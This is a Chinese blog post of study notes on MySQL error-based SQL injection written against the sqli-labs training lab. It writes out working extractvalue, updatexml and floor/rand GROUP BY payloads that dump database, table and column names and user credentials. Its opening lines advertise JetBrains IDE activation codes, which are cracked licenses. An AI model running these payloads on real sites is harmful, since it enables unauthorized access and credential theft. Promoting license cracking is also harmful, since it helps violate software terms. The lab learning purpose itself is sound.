大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE稳定放心使用
复习完sqlilabs 1-4关 熟悉了简单sql注入的payload,不用反复看wp的payload,学到了可以
0x5c:/ %23:# %20: （空格） 0x7e=~
-1') union select 1,(select group_concat(username,0x5c,password) from users),3 %23遇到第五关报错注入
学习笔记：
报错注入原理：报错注入就是利用了数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。
xpath语法报错
使用条件：mysql版本>5.1.5
extractvalue函数:
extractvalue(xml_document,Xpath_string);
Xpath_string是要求符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里，因此可以利用。(不满足xpath语法的字符串有~,#,$等等)
id='and(select extractvalue("anything",concat('~',(select语句))))查数据库名：id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据：id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位
注：version()=@@version
updatexml函数:
updatexml(xml_document,xpath_string,new_value)
new_value是string格式，替换查找到的负荷条件的数据 作用：改变文档中符合条件的节点的值
爆数据库名：'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名：'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名：'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据：'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
concat+rand()+group_by()导致主键重复报错
这种报错方法的本质是因为floor(rand(0)*2)的重复性，导致group by语句出错。group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则不在临时表中更新临时表的数据；如果key不在临时表中，则在临时表中插入key所在行的数据。
爆数据库名：' union select 1,count(*),concat(floor(rand(0)*2),database())x from `users` group by x %23
爆表名：' union select 1,count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))x from `users` group by x %23
爆列名：' union select 1,count(*),concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1))x from `users` group by x %23
爆数据：' union select 1,count(*),concat(floor(rand(0)*2),(select COLUMN_NAME from TABLE_NAME limit 0,1))x from `users` group by x %23下面对sqlilabs Less-1进行测试
extractvalue函数:
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/7081e0f957ad476b977a74006b1be23c.png)
![报错注入学习[通俗易懂]](https://javaforall.net/wp-content/uploads/2020/11/2020110817443450.jpg)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/44f461a7e9ee457a8a9e0ae78777e66d.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/93d9ab861bf5451ca5d1726d17917423.png)
这里因为能显示的最长长度为32，所以用substr来截取，这里用不来limit分页
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/5d28a183243d49bdbbf25a2521dea7ab.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/7d392adcb6e642e099d57eb31581d023.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/3c580dede0b04f719c69f78ced4ad11c.png)
updatexml函数:
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/bfb08d8c31ac484fb79ac7c1125ed9b9.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/06e9bb543e914144a7166527e1c508cb.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/cfabddc4ed0e4e899b60af82b3fd3543.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/b988a348bd0c4d48ab55453da73681ce.png)
floor报错：
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/cc089ade1a98498d9b072f5db29b98c2.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/ea34af345f254ed295bef24f106180f3.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/283a1149c15241608d7560d2065b7147.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/2a50fc971cd64bae9884f34e9ded84e4.png)
![报错注入学习[通俗易懂]](https://img-blog.csdnimg.cn/00afa619a14c47dfa531b9d25aacd087.png)
' union select 1,2,3 from (select count(*),concat(floor(rand(0)*2),database())x from `users` group by x)a %23这个是另一种payload
发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/187981.html原文链接：https://javaforall.net
